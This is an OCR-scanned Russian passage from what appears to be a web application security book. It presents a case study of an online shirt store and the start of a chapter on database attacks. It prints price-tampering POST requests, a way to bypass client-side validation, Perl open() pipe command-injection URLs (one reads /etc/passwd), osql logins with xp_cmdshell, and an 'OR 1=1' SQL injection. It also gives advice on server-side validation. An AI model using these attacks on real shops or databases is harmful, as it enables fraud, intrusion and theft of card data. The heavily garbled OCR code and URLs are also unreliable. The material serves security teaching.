Для запуска приложения ShopCart.exe использовался следующий код:
01: <form e»thod・po3t actionaM/cgi-bin/shopcart.exe/MYSTORE-AddItM^>
02: <input typt・hiddtn ・》«竺川1110* value«*OS0015ff>
03: <input type二hidden nane・”tenT value・“Acine Shirt8*>
04: <input type二hidden naw“Price" val»e«w89.99,,>
05: Quantity: <input type=text nano^qty value・*l" size 3
06: <xiChanqe«#v&lidate(this) ;#>
07: <input type*lMg« 8rc»#buy00000.gif1 пам・'Ьиу‘ border,'。' alt ='Add To
08: Cart* vidth^61w height»w17*>
09: </form
При щелчке на кнопке Buy броузер передаст на сервер запрос POST со значениями, введенными в поля формы. Обратите внимание на три скрытых поля в строках кода 2, 3 и 4. Их значения были переданы на сервер вместе с запросом POST, Таким образом, в системе существовал изъян на уровне приложения, поскольку перед тем, как передавать форму, значения скрытых полей можно изменить.
Для более глубокого понимания этой ситуации имеет смысл проанализировать HTTP-запрос, передаваемый броузером на сервер.
POST /egi-bin/shopcart• exe/NYSTORE-AddItem HTTP/1.0
Referer; http://vw.acBe-fashion5.con/shirtcatalog/shirts2.asp
Connection: Keep-Alive
User-Agent: Mozilla/4.76 [enl (Windows NT 5.0; U)
Host: www. acme-fashions.com
Accept: inag“gif, Inage/x-xbitaapr iaage/jpeg, image/pjpe?, iaage/png, */*
Accept-Encoding: gzip Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Cookie: ASPSESSIOKIDQQGQQKIG^ONEBLGJCCDFHBDHCPKGANANH; shopcartstore-3009912
Content-type: application/x-www-form-iirlencoded
Content-length: 65
PartNo=OSD0154Iteni®Aciie4Shirt8bPrices89.99fcqtyelbbuy4x«16Sbuy.y*5
Значения скрытых полей PartNo, Item, и Price передаются в запросе POST приложению /cgi-bin/shopcart.exe. Только таким образом ему можно "узнать” цену товара, например рубашки OS0015. Отображаемый в окне броузера ответ показан на рис. 10.7.
PliC. / О. 7. Содермсимое торговой тележки
Если бы существовал способ передачи запроса POST с модифицированным значением поля Price, то можно было бы управлять ценой рубашки. В следующем запросе POST содержится информация о том, что цена рубашки составляет всего $0.99 вместо первоначальных $89,99!
POST Zcgi<bin/shopcart.exe/KYSTORB-AddIteoi ВТТР/1.0
Refertr: http: //wv.acse-faBhions.con/shirtcatalog/shirtBS.asp
Connection: Keep-Alive
User-Agent: Mozilla/4.76 [enl (Windows MT 5.0; U) Host: www.acme-fashions.com
Accept: image/gif, iaage/x-xbita&pr Inage/jpeg, image/pjpeg, inago/png, */*
Accept-Encoding: gzip Accept-Laogijage : en
Accept-Charset: iso-8859-l,#,utf-8
Cookie: ASPSESSIONIDQQGQQKIG-OlfEKLGJCCDFHBDHCPKGimNH; shopcartstore>3009912
Content-type: application/x-ww-form-urlencoded
Content-length: 65
PartNoBOSOO 15SltenFAcme*Shirts&Price» 0.99bqty=l (buy .x*164buy.y«5
Для манипулирования ценой проще всего сохранить страницу каталога ahirta2.a8p на локальном жестком диске, просмотреть в броузере ее локальную копию shirts2.html и внести необходимые изменения в HTML-код. На рис. 10.8 показано, как можно сохранить локальную копию страницы.
Риг 10.8. Сохранение локальной копии страницы на лока.<1ьном жестком диске
Сначала нужно изменить значение поля Price в строке <input type«hidden паюе* “Price” value=“89・99">. Второе изменение связано с модификацией значения ACTION^"〃无 дескриптора <FORM> таким образом, чтобы в качестве ссылки использовался адрес http ://wvw. acme-fashions, с о m/cgi-bin/shopcart.exe.HapHC. 10.9 показан модифицированный файл shirts2.html.
Теперь при открытии в окне броузера модифицированного файла shirts2.html и передаче запроса на покупку рубашки на экране появится окно, показанное на рис. 10.10.
Что это — уникальный способ заключения сделки или что-нибудь другое? Как ни странно, но это действительно оказалось той самой проблемой, из-за которой компания Acme Fashions, Inc. потеряла существенную часть своего дохода. После анализа сделанных заказов и выполненных транзакций группа экспертов по вопросам безопасности обнаружила, что многочисленные посетители могли покупать товары по существенно заниженным ценам. Другими словами, в большинстве случаев Ппокупа- телями** были хакеры.
Вопросы риска, связанного с передачей информации в скрытых полях, обсуждаются в главе 7, где описано, как быстро находить скрытые поля в исходном коде. Взлом приложений с использованием данных, передаваемых в скрытых полях, — задача довольно тривиальная. Для ее осуществления не требуется особых навыков. Достаточно уметь пользоваться броузером и, возможно, редактором vi системы Unix или блокнотом системы Windows. Полученный в результате эффект окажется по-настоящему разрушительным.
Рис. 10.9. Файл stiirts2.html. модифицированный для изменения цены
Рис. 10. /" Результаты манипуляций со скрытым полем
Испол ь з о в ание механизмов поиска для обнаружения скрытых полей
Рис. 10.11. Поиск с помощью механизма Google
Рис, 10.12 Результаты поиска скрытых полей, полученные с использованием механизма Google
Чтобы быстро проверить, используются ли на Web-узле или в приложении скрытые поля, можно прибегнуть к любому из многих механизмов поиска, доступных в Internet. Например, на рис. 10.1J показано, как с помощью механизма Google определить, используются ли на Web-узле www.acine-fashions.com скрытые поля, в которых передается значение цены.
На рис. 10.12 показаны результаты поиска: внутри домена www.acme-fash.ions.com были найдены все страницы, на которых содержатся строки type=hidden и naBtesprice. Не забывайте, что поиск нужно выполнять только на нужном вам узле. В противном случае придется анализировать огромное количество информации!
Обход проверки данных в клиентской части приложений
Следующая ошибка, обнаруженная экспертами по вопросам безопасности, была связана со способом проверки данных перед их передачей в подсистему выбора товаров (электронную торговую тележку ShopCart.exe). Web - приложения состоят из множества сценариев и интерактивных компонентов, которые взаимодействуют с пользователем в основном с помощью HTML-форм. Интерактивная часть любого компонента получает входные данные из HTML-формы. Затем эти данные обрабатываются на сервере. HTML-формы абсолютно незаменимы, когда необходимо получить какие- либо данные от пользователя. Однако в таких формах нельзя проверить корректность этих данных. Например, если HTML-форма предназначена для ввода даты, то пользователь вполне может ввести дату 99/88/77. При этом броузер на такое значение никак не отреагирует. В приложении должны использоваться собственные механизмы проверки входных данных, позволяющие отфильтровывать некорректную информацию. Проверку входных данных HTML-форм можно выполнять либо с использованием серверных сценариев Perl, PHP или ASP, либо с помощью клиентских сценариев, таких, как JavaScript или VBScript.
Разработчики компании Acme прекрасно осознавали необходимость проверки входных данных. Однако торговая тележка ShopCart.exe представляла собой готовое приложение, которое нельзя было модифицировать для реализации этого требования. В результате разработчики решили проводить проверку входных данных в клиентских сценариях, выполняющихся в самом броузере. Кто-то из них даже отметил: "Да, это неплохая идея, поскольку нагрузка на центральный процессор сервера будет гораздо ниже. Пусть вместо него всю работу выполняет клиентский броузер**.
Не вызывает сомнения тот факт, что можно без проблем изменить любой фрагмент клиентской части приложения. Для этого достаточно отредактировать исходный HTML-код, переданный в броузер. Экспертами по вопросам обеспечения безопасности на узле www.acme-fashions.com было обнаружено несколько клиентских сценариев, в которых выполнялась проверка входных данных. Если пользователь попытается купить -5 рубашек, то на экране появится диалоговое окно с сообщением о вводе некорректного значения.
На рис. 10.13 показан пример проверки входных данных, выполняемой с помощью клиентского сценария JavaScript. Используемый при этом исходный код приведен ниже. < script > function valicUte(e) {
if(isNa]fl(е.value) 11 e«value <= 0) { alertf^Please enter a valid number4*); e.value 二 1; e.focus();
return false;
else {
return true;
}
}
</script>
<input type=text DAM・qty value"*!* size=3 onChangestfvalidate(this) ;w>
Puc. 10.13. Проверка входных данных с использованием клиентского сценария JavaScript.
Этот код обеспечивает ввод в поле gty только положительных чисел. Однако, поскольку проверка выполняется в клиентском сценарии, ее легко обойти. Запретив выполнение сценариев JavaScript в броузере, взломщик сможет обойти проверку входных данных в клиентской части приложения! Если сбросить флажок Enable JavaScript/запретив таким образом выполнение сценариев JavaScript (рис. 10.14), то в поле можно будет ввести любое значение.
На рис. 10.14 показано диалоговое окно параметров броузера Netscape, в котором можно отключить режим выполнения сценариев JavaScript. Теперь, если для обозначения количества товара ввести -3, броузер передаст на сервер следующий запрос POST:
POST /cgi-bin/shopcart .exe/MYSTORE«AddItem HTTP/1.0
Referer; http://ww.acme-fashions・con/shirtcatalog/6hirts2.asp
Connection: Keep-Alive
User-Agent: Mozilla/4.76 (enl (Windows NT 5.0; U)
Host: www.acme-fashions.com
Accept: inage/glfI image/x-xbiUMp, iMge/jpeg* inagc/pjpeg, Uag“gg, */*
Accept-Encoding: gzip Accept-Language: en
Accept-Charset: iso-8859-l,*,utf-8
Cookie: ASPSESSIONIDQQGQQKIG-OKEHLGJCCDFHBDHCPKGNUNH; shopcartstore=3009912
Content-type: application/x-vw-fom-urlenccxled
Content-length: 63
PartNo4>S00154ltenFAaw*Shirt8iPricee-3iqty«Ubuy.x«16bbiiy.y«5
Puc. 10.14. Отключение сценариев JavaScript
Обратите внимание, как такой HTTP-запрос позволяет полностью обойти механизм проверки данных в клиентской части приложения. На рис. 10.15 показан ответ сервера.
Из рис. 10.15 видно, что пользователь сделал заказ на 5 рубашек по $54,99 и -3 рубашки по $89,99. Общая стоимость покупки составила всего $4,98. Возможность размещения заказов на отрицательное количество товара и, таким образом, снижение общей стоимости покупки, покупателям очень понравилась! Именно этот изъян и послужил причиной поступления в компанию Acme заказов на отрицательное количество товара.
Руководство Acme Fashion, Inc. сделало вывод о том, что выполнять проверку входных данных в клиентской части приложения крайне опасно и недопустимо. Кто же виноват в этой ошибке? Ответственность за обнаруженный изъян полностью возлагается на разработчиков подсистемы выбора товаров ShopCart.exe. Проверка входных данных должна выполняться именно в этом приложении. Однако, поскольку такой механизм в нем отсутствует, разработчики Web-узла были вынуждены реализовать эту проверку с использованием клиентских сценариев.
Даже в настоящее время во многих коммерческих подсистемах выбора товаров (торговых тележках) не выполняется жесткая проверка входных данных. Для обозначения количества товара иногда можно использовать даже дробные числа. Другим приложениям можно передавать метасимволы или входные данные большого размера, приводящие к краху серверной части приложения.
PliC. /0 75. Покупка отрицательного количеств рубашек
Усовершенствование узла www・ acme-fashions・ com
После того как группа экспертов по вопросам безопасности предоставила свои результаты, руководство компании Acme решило внести радикальные изменения в свое приложение электронной коммерции. Была сформирована новая группа разработчиков, которая должна была проанализировать существующую систему и при необходимости переписать ее код. Используемая ранее коммерческая подсистема выбора товара ShopCart.exe не позволяла сохранять в базе данных информацию о товарах и ценах. Поэтому было решено разработать и использовать собственную подсистему. Одновременно с этим было решено также перейти к недавно появившейся серверной платформе Windows 2000, под управлением которой работал Web- сервер IIS 5.0 и интерпретатор ActivePerl. На этот раз разработчики воспользовались свободно распространяемой в Internet подсистемой выбора товаров (торговой тележкой), написанной на языке Perl
Все процедуры проверки входных данных, выполняемые в клиентской части приложения, были тщательно проверены, а неправильно используемые скрытые поля были удалены. Такие меры предосторожности должны были гарантировать отсутствие старых ошибок. Новая система была готова 1 августа 2001 года.
В обновленной системе новая проблема
В бухгалтерию компании Acme 15 сентября пришел запрос от кредитной компании, пытающейся отследить источник мошенничества с кредитными карточками. Так случилось, что многие клиенты кредитной компании, сообщившие о случаях мошенничества, делали покупки на Web-узле компании Acme Fashions между 1 августа и 1 сентября. В компании были убеждены в том, что информация о кредитных карточках клиентов каким-то образом была украдена у компании Acme.
Раньше руководство Acme Fashions уже сталкивалось с проблемами подмены цен и успешно справлялось с ними. Теперь было необходимо решать вопрос о возможном воровстве номеров кредитных карточек. Была приглашена другая группа экспертов, которая должна была помочь в оценке ситуации.
Эксперты обнаружили, что в журналах Web-сервера отсутствуют данные за 29 августа. На основе этого факта возникло предп о ложение о том, что хакер мог удалить содержимое файла C:\WINNT\Sy8tem32\logFiles\N3SVCl\ex20010829.logv в котором эти данные находились. Размер файла был уменьшен до 0 байт. Было абсолютно очевидно, что для удаления данных из журналов Web-сервера IIS хакер должен был обладать административными привилегиями по его управлению.
Поскольку никаких других доказательств вмешательства взломщика обнаружено не было, группа экспертов могла лишь предполагать возможную причину взлома. При исследовании содержимого жесткого диска оказалось, что файл purchases.mdb одновременно присутствует в двух каталогах.
С:\>dir purchases.mdb /s
Volume in drive C is ACKEFASHION
Volune Serial Number is 48CD-A4AO
Directory of C:\ACMEDATA
08/29/2001 08:13p2,624,13 6 purchases .mdb
1 File(s) 2,624,136 bytes
Directory of C:\Inetpub\wwwroot
08/29/2001 ll:33p2,624,13 6 purchases.mdb
1 File(s)2,624,136bytes
Total Files Listed:
2 File(s)5,248,272bytes
0 Dir(s)111,312,896bytesfree.
Каким же образом файл purchases.mdb из каталога C:\ACMEDATA был скопирован в каталог С: \Inetpub\wwwroot? Системный администратор компании Acme Fashions подтвердил, что файл purchases.mdb использовался для хранения информации о заказах, а именно: имени клиента, адреса доставки, перечня приобретенных товаров и номера кредитной карточки, которая использовалась для оплаты покупки. Разработчики приложения уверяли руководство компании в том, что файлы базы данных хранятся за пределами корневого каталога документов Web-сервера (C:\Inetpub\wvwroot). Поэтому группа экспертов решила, что копия файла purchases.mdb была создана именно в день совершения мошенничества — 29 августа 2001 года в 11:33 Это и была работа хакера. Скорее всего, взломщик скопировал файл из каталога C:\ACMEDATA в каталог C:\Inetpub\wwwroot, а затем загрузил его с использованием броузера, передав на сервер запрос http://www.ac me-fashions, со m/purc hases.mdb. Однако после загрузкихакер, вероятно, забыл удалить копию файла из каталога С: \ Inetpub\wwroot.
Удаленное выполнение команд
Тот факт, что файл был скопирован из одного местоположения в другое и что с Web-сервера были удалены журналы, позволяет сделать предположение о том, что хакер мог выполнять команды на узле www.acrae-fashions.com, а также обладал привилегиями суперпользователя или администратора. После анализа средств защиты и процедур блокировки, предоставляемых операционной системой, группа экспертов пришла к выводу, что изъян, скорее всего, можно найти в коде Web-приложения. И действительно, проблема заключалась в недостаточной проверке входных данных в исходном коде подсистемы выбора товаров (торговой тележки).
Управление торговой тележкой осуществляется с использованием сценария Perl r.yvebcart.cgi. С помощью этого сценария отслеживаются также все клиентские сеансы работы с Web -приложением. Подсистема выбора товаров получает информацию из базы данных products.mdb и взаимодействует с подсистемой оплаты покупок, обрабатывающей платежи, данные о которых хранятся в файле purchases.кх1Ь.
На рис. 10.16 показана страница, сгенерированная сценарием mywebcart.cgi. Обратите внимание на указанный в окне броузера адрес URL. Сейчас самое время вспомнить о плохо реализованных торговых тележках, речь о которых шла в главе 3.
Вот этот адрес:
http://ww.ac»e-fathions.co®/c9i-bin/myMebcart.C91?cu8t«0873bnextpage*shirtt3.ht®lUid«03417
Рис. 10.16. Страница, сгенерированная сценарием mywebcart.cgi
Наибольший интерес представляют передаваемые параметры, а также их значения. Обратите внимание, что в параметре nextpage содержится значение shirts3.html. В сценарии mywebcart.cgi изъян имеет следующая строка:
$file = *с: \inetpub\wwroot\catAlo^_teepl4tes\# . $lnput(4nextpager);
open(FILE, $file) 11 die "Cannot open $Ше\и";
Судьба сценария inyWebcart.cgi предопределена. Параметр nextpage передается в функцию ореп() без какой бы то ни было проверки. Как упоминалось в главе 3, в конец значения, передаваемого в параметре nextpage, взломщик может вставить символ конвейера | и таким образом вьшолнить с помощью функции open () произвольную команду.
При использовании следующего запроса на узле www.aone-fashions .с<Ж была бы выполнена команда dir с:\.
bttp://ww ・ acme-fashions. can/cgi-bin/oywebcart. cgi?cust0873inutpage"; dir+c :\|&cld«03417
Результат выполнения этого запроса показан на рис. 10.17.
acme-fashions.comacme-fashions.comCMhontfeBwy <wmn№ 1Н£м) 0,01 x*Z raw.CMhontfeBwy <wmn№ 1Н£м) 0,01 x*Z raw.Casual drevsing -ThM • #r・ 2ne In OTkKVolume in drive C is АСЮРАЛЮК Volume Serial Number a 48CD>A4A0 Dire 06/12/2001 11 56«Casual drevsing -ThM • #r・ 2ne In OTkKVolume in drive C is АСЮРАЛЮК Volume Serial Number a 48CD>A4A0 Dire 06/12/2001 11 56«ACMEDATA С8Л4优001 01:47tI^OCUOUOt* and Settings 0ЭО1/2О01 12:54pkrtp血 05/12.200! 09:57pj&l 2 2。夕 12/281 ll:43pMS8QL7 OVmOO! 08:05pPerl 01/19/2001 03:44pProgram Files 31/1W2O01 03:44pWINNT о Fie(i} 0 brw 8 № bytat freeACMEDATA С8Л4优001 01:47tI^OCUOUOt* and Settings 0ЭО1/2О01 12:54pkrtp血 05/12.200! 09:57pj&l 2 2。夕 12/281 ll:43pMS8QL7 OVmOO! 08:05pPerl 01/19/2001 03:44pProgram Files 31/1W2O01 03:44pWINNT о Fie(i} 0 brw 8 № bytat freeр■ун4ее 0冲■2р■ун4ее 0冲■2Ноес koqki View CEChecV Out Order Status P”mE Options HelpНоес koqki View CEChecV Out Order Status P”mE Options HelpPuc. 10.17. Выполнение произвольных команд с использованием сценария npmbcArt.cgiPuc. 10.17. Выполнение произвольных команд с использованием сценария npmbcArt.cgi
acme-fashions.com
acme-fashions.com
CMhontfeBwy <wmn№ 1Н£м) 0,01 x*Z raw.
CMhontfeBwy <wmn№ 1Н£м) 0,01 x*Z raw.
Casual drevsing -
ThM • #r・ 2ne In OTkK
Volume in drive C is АСЮРАЛЮК Volume Serial Number a 48CD>A4A0 Dire 06/12/2001 11 56«
Casual drevsing -
ThM • #r・ 2ne In OTkK
Volume in drive C is АСЮРАЛЮК Volume Serial Number a 48CD>A4A0 Dire 06/12/2001 11 56«
ACMEDATA С8Л4优001 01:47t
I^OCUOUOt* and Settings 0ЭО1/2О01 12:54p
krtp血 05/12.200! 09:57p
j&l 2 2。夕 12/281 ll:43p
MS8QL7 OVmOO! 08:05p
Perl 01/19/2001 03:44p
Program Files 31/1W2O01 03:44p
WINNT о Fie(i} 0 brw 8 № bytat free
ACMEDATA С8Л4优001 01:47t
I^OCUOUOt* and Settings 0ЭО1/2О01 12:54p
krtp血 05/12.200! 09:57p
j&l 2 2。夕 12/281 ll:43p
MS8QL7 OVmOO! 08:05p
Perl 01/19/2001 03:44p
Program Files 31/1W2O01 03:44p
WINNT о Fie(i} 0 brw 8 № bytat free
р■ун4ее 0冲■2
р■ун4ее 0冲■2
Ноес koqki View CEChecV Out Order Status P”mE Options Help
Ноес koqki View CEChecV Out Order Status P”mE Options Help
Puc. 10.17. Выполнение произвольных команд с использованием сценария npmbcArt.cgi
Puc. 10.17. Выполнение произвольных команд с использованием сценария npmbcArt.cgi
Таким образом, в сценарии nywebcart.cgi группой экспертов был выявлен серьезный изъян. В настоящее время аналогичные изъяны можно найти даже во многих коммерческих версиях торговых тележек.
Подсистемы выбора товаров, допускающие удаленное выполнение команд
Во многих коммерческих подсистемах выбора товаров (торговых тележках) выполняется недостаточная проверка входных параметров, передаваемых в строке URL или скрытых полях. Из-за этого в строку запроса можно вставлять метасимволы и удаленно выполнять команды на Web-сервере. Ниже представлены названия некоторых статей, взятых с различных Web-узлов, тематика которых связана с изъянами подсистем выбора товаров.
6 сентября 2001года появилась статья ShopPlus Cart Commerce System Lets Remote
Users Execute Arbitrary Shell Commands о том, что система электронной коммерции ShopPlus позволяет удаленно выполнять произвольные команды оболочки.
8 сентября 2001 года опубликована статья Hassan Consulting Shopping Cart Allows
Remote Users to Execute Shell Commands on the Server о возможности удаленного выполнения команд оболочки на сервере, на котором используется торговая тележка компании Hassan Consulting.
19 сентября 2001 года в статье Webdiscount,net i eshop Commerce System Lets
Remote Users Execute Arbitrary Commands on the system and Gain Shell Access сообщалось об изъяне системы электронной коммерции Webdiscount.net, позволяющем выполнять в системе произвольные команды и получать доступ к командной оболочке.
20 октября 2001 года опубликована статья Mountain Network Systems Web Cart Lets Remote Users Execute Arbitrary Commands on the Web Server о возможности удаленного выполнения произвольных команд на Web-сервере, на котором установлена подсистема WebCart от компании Mountain Network Systems.
Все эти торговые тележки оказывались абсолютно не защищенными от ситуаций, когда в один из параметров URL вставлялся символ конвейера (|).
Для реализации атаки можно воспользоваться следующими URL:
http:// цепевоЛузел/ scripts/ shopplui ・ cgi?dn*domainnane • com^ca rtid-ICARTI D%fcfiles; catQ 20/etc / passvd|
http://^eaoM_y2reJ7/cgi-loc41/8hop.pl/SID"947626980.19094/page*;unaBie*-a|
Ь11р!//целе8оя^узел/сд1-Ып/е«Ьор.р1?де11еж; Is I
http: //^елевой_узел/cgi-
bin/vebcart/vebcart. C9i?COKFIG«nounUin&CBANGE>TESKEXTPAGE-; IS | (CODB-PHOLD
При использовании таких URL значение передаваемого параметра без всякой проверки передается функции open () языка Perl.
Рис. 10.19. Загрузка файла purchases .жй»
Заключительные замечания
Из-за трех критических ошибок компания ACME Fashions, Inc. за короткий период времени потеряла много денежных средств. Все эти ошибки были обусловлены недостаточной проверкой входных данных и чрезмерным доверием к информации, получаемой от Web-броузера. Рассмотрим их еще раз.
Первый изъян был связан с некорректным использованием скрытых полей. Такая важная информация, как идентификатор товара и его цена, передавалась через скрытые поля HTML-форм. Следует помнить о том, что как только Web-сервер передал Web-броузеру ответ на его запрос, он полностью теряет контроль над этими данными. Протокол HTTP не подцерживает состояния (stateless). Это означает, что сервер не может самостоятельно определить, какие данные были переданы броузером — корректные или нет. Значения скрытых полей можно модифицировать на клиентском компьютере, а затем передать обратно на Web-сервер. Если на сервере не выполняется проверка корректности передаваемых в скрытых полях данных, то на клиентском компьютере данные можно изменить и таким образом полностью обойти процедуру проверки. Для защиты системы от подобных взломов разработчики Web-узлов должны избегать передачи данных через скрытые поля. Эта информация должна храниться в серверной базе данных, а при необходимости извлекаться из нее.
Вторая очевидная ошибка заключается в использовании для проверки входных данных клиентских сценариев. Зачастую для снижения нагрузки на сервер разработчики пытаются использовать языки JavaScript или VBScript в клиентской части приложения. Однако клиентские сценарии также не обеспечивают необходимого уровня защиты. Они позволяют повысить лишь привлекательность Web-страниц. Взломщик может изменить клиентские сценарии и легко обойти процедуры проверки входных данных. Как и в случае с компанией Acme, можно ввести отрицательное количество товара, обойдя все ограничения, налагаемые встроенным сценарием JavaScript. В некоторых системах электронной коммерции часть арифметических операций, например подсчет общего количества товара и стоимости, выполняются в их клиентской части. С точки зрения покупателя, такая возможность очень удобна, поскольку позволяет быстро увидеть обновленные значения. Однако на самом деле такого подхода следует избегать. Приложения должны быть спроектированы таким образом, чтобы вся проверка корректности данных и все вычисления выполнялись на сервере. Только в этом случае взломщик не сможет манипулировать данными. Можно сформулировать следующее золотое правило: пНельзя доверять данным, передаваемым из клиентского броузера**.
Последний изъян был связан с недостаточной проверкой входных данных в сценарии nyvebcart.cgi. Всякий раз, когда данные из полей HTML-формы передаются на вход таким функциям, как ор«п(), необходимо удостовериться в отсутствии каких- либо комбинаций символов или метасимволов. Нужно выполнять проверку как длины полученных данных (для предотвращения переполнения буфера), так и наличия метасимволов. К сожалению, компания Acme не позаботилась о том, чтобы отфильтровать такие метасимволы, как &, I, $, | и <. Более исчерпывающий перечень процедур проверки входных данных содержится в главе 1.
К дополнительным проблемам обеспечения безопасности, характерным для систем электронной коммерции, можно отнести следующие: возможность поиска на сервере временных файлов; использование несовершенных механизмов шифрования; незащищенность каталогов файловой системы; возможность повышения привилегий, получения информации о клиентах, изменения заказов и генерации условия DoS (Denial of Service — отказ в обслуживании). Все перечисленные изъяны могут использоваться для реализации атак и присутствуют во многих приложениях электронной коммерции.
Резюме
Приложения электронной коммерции привлекают внимание хакеров, поскольку с их использованием можно "манипулировать” финансовыми средствами по своему усмотрению. Каждый менеджер по информационным технологиям, системный администратор и разработчик должны уделять большое внимание защите важной корпоративной и другой информации от злонамеренных хакеров. Единственный изъян приложения может оказаться катастрофическим и способен привести к большим потерям. Однако в этом случае теряются не только деньги, но и с трудом заслуженная репутация. Неважно, кто совершил ошибку — группа разработчиков приложения или компания-разработчик какого-либо коммерческого компонента. В любом случае пострадает компания, в которой используется это приложение. Защитите свои Web- приложения, присвойте задаче обеспечения их безопасности самый высокий приоритет до того момента, как будет написана первая строка кода.
ГЛАВА 11
Дос\ yi к базам данным
Истинное начало нашего конца,
Вильям Шекспир (1564—1616), "Сон в летнюю ночь ", действие V, сцена 1
Введение
Базы данных являются неотъемлемой частью современного бизнеса. Независимо от того, хранятся ли данные в отдельном файле или для поддержки их целостности используется современная о бъектно - ориентир ованная база данных, нео бходимость хранения информации и обеспечение быстрого доступа к ней всегда были решающими факторами в любой сфере деятельности или приложении. И Web здесь не является исключением.
Современные Web-приложения тесно связаны с базами данных. Они используются для хранения самой разной информации, начиная с пользовательских имен/паролей и заканчивая почтовыми адресами и данными о кредитных карточках. При глубоком анализе вопросов обеспечения безопасности в Web необходимо учитывать уровень базы данных и, что еще более важно, способы, с помощью которых взломщики пытаются обойти ограничения приложений и получить доступ к важным данным.
В этой главе обсуждается взаимодействие между Web-сервером и базой данных. Вы узнаете об изъянах, существующих в архитектуре приложений, которые позволяют взломщикам извлекать конфиденциальную информацию или, что еще хуже, удаленно выполнять команды.
Прямые атаки на базы данных SQL
Хотя это и не является главной темой данной главы, следует отметить, что к серверам Microsoft SQL Server и Oracle по умолчанию можно обращаться по сети. Другими словами, если брандмауэр сконфигурирован неправильно, то взломщики смогут установить соединение с базой данных даже без использования Web-приложения.
Хотя такая возможность редко предоставляется за пределами локальной сети, она создает идеальные условия для хакинга базы данных. Для удаленного взлома базы данных с использованием этого подхода нужно выполнить несколько простых действий. Найдите систему с любым открытым портом, таким, как TCP и UDP 1434 (Microsoft SQL Server) или TCP 1521 (Oracle). Это можно осуществить с помощью любой из многочисленных утилит сканирования портов, в том числе и Fscan от компании Foundstone (http://www.foundstone.com). Т^юме того, для поиска SQL- серверов в определенном диапазоне IP-адресов можно воспользоваться таким средством, как SQLPing2 от компании Chip Andrews (http: / /www. sql security * сое). Как видно из рис. 11.1, с помощью утилиты SQLPing2 было обнаружено два SQL- сервера, установленных на узлах с адресами 192.168.0.8 и 192.168.0*9.
Как только стало известно местоположение серверов в сети, можно попробовать получить к ним доступ. Для этого существует множество способов, однако проще всего воспользоваться утилитой osql.exe, входящей в комплект поставки SQL Server 2000 и Desktop Engine (MSDE). Для ее запуска используется следующий синтаксис:
С:\> osql -S 192.168.0.8 -0 sa -Р “"
Login failed for user "sa"
С помощью параметров командной строки -S (сервер), -U (имя пользователя) и -Р (пароль) можно попробовать обратиться к серверу базы данных. Как видно из приведенного выше фрагмента, попытка использования имени sa без пароля (такой пароль применяется чаще всего!) ни к чему не привела. Однако при вводе корректной комбинации имени пользователя и пароля на экране появится строка приглашения 1>, позволяющая ввести любую допустимую команду.
Рис / /. / Результаты, полученные при сканировании портов с исполъзованием утилиты SQLPing2
С:'.>osql -S 192.168.0.8 -U sa -Р password l>select count(*) syscolumns 2>g。
4683
(1 row affected) 1>
Теперь в качестве аутентифицированною пользователя базы данных можно применить некоторые приемы, чтобы больше узнать о базе данных и структуре ее таблиц. При исследовании SQL-сервера компании Microsoft первый шаг заключается в использовании хранимой процедуры sp helpdb (конечно, если сетевой администратор не удалил ее в целях защиты). Эта хранимая процедура предоставит перечень существующих баз данных, их имена, размер, владельцев и идентификаторы (dbid). C:\>osq; -S 192.168.0.8 -U sa -P password -Q "use master; exec sp helpdb"
После этого с помощью хранимой процедуры sp_help можно выполнить инвентаризацию всех объектов определенной базы данных. Она позволяет получить подробную информацию обо всех объектах базы данных, в том числе о каждом представлении, пользовательской и системной таблице, фуньщии и хранимой процедуре.
C:\>osql -S 192.168.0.8 -U sa -Р password -Q "use aaster; exec sp help*
С помощью функции information—5chemа можно идентифицировать все таблицы конкретной базы данных.
С:\>osql -S 192.168.0.8 -0 sa -Р passvord -Q "use master; select * from inforB<ition_ schema.tables*
Можно также воспользоваться наиболее мощной хранимой процедурой и выполнить на удаленной системе любую команду. Например, при использовании следующей команды в файл C:\owned.txt будет помещен перечень каталогов:
С:\>。叫 1 -S 192.168.0.8 -U sa -Р blah -Q "exec Miter.. xp^cndshell * di г>с: \ovned. txt *"
Кроме всех перечисленных возможностей, для получения информации можно воспользоваться любым оператором и функцией SQL. Возможно, удастся даже овладеть самим сервером баз данных. Более подробная информация по этому вопросу содержится в главе 2.
Может показаться, что описанные прямые вторжения на SQL-сервер являются лишь упрощенной иллюстрацией. Возможно, отчасти это именно так. Однако приведенные примеры помогут лучше понять то, что будет рассматриваться чуть ниже, —воздействие на SQL-сервер через Web-приложение.
Взлом Web-узла компании по продаже подержанных автомобилей
Глубокой ночью неудовлетворенность Джека по поводу неудававшейся реализации процедуры переполнения буфера, которую ему не терпелось разработать, стала настолько высока, что даже из-за мелких недоразумений у него постоянно возникали ссоры с соседом по комнате. В конце концов его товарищ посоветовал немного отдохнуть, заняться чем-нибудь другим, а ответ не заставит себя долго ждать. Поэтому Джек решил зайти на Web-узел Google и поискать автомобиль, который ему всегда хотелось иметь — BMW 740IL черного цвета. На первых трех узлах таких автомобилей не было. По мере продолжения поиска раздражение Джека быстро нарастало, пока он случайно не наткнулся на Web-узел местной компании по продаже автомобилей. В ее обширном списке товаров он нашел множество подходящих автомобилей, один из которых, BMW 470IL 1999 года выпуска в отличном состоянии стоил всего $35 000. Джек очень обрадовался, пока не наткнулся на цену, значительно превышавшую ту сумму, которую он мог заплатить. И он решил сорвать свою злость на ком-нибудь другом, а не на соседе по комнате.
Проверка входных данных
Эта процедура позволяет предотвратить использование непроверенных пользовательских данных на Web-сервере и в базе данных, а также не допустить извлечения конфиденциальной информации. При просмотре результатов поиска Джек обнаружил интересную деталь: на Web-узел компании по продаже автомобилей параметры запроса передавались в адресе URL (рис. 11 2).
http: //192.168.0 .S/purchase.asp?!!)"!
Джек увидел, что единственным параметром, передаваемым файлу ASP, является поле ID. Он предположил, что это поле представляет собой уникальный идентификатор каждой записи в таблице или базе данных склада, поэтому попробовал несколько аналогичных команд.
http://192.16В.O.S/purchase.aspTIOZ
http://192.168.0»6/purchase.asp?ID«3
Один из полученных результатов показан на рис. 11.3.
尸厶:.11.2. Записи базы данных, переданные 6 ответ на запрос W*1
Рис. 11.3. Изменение параметра ID для извлечения из базы данных новых записей
Убедившись, что записи передаются из некоторой определенной таблицы базы данных, Джек решил попробовать извлечь из этой таблицы все записи (немного схитрив и добавив в URL строку ;OR 1=1—).
http://192.168.0.б/purchase.asp?ID>21200RI201«l—
На рис. 11.4 показаны результаты выполнения этого запроса.
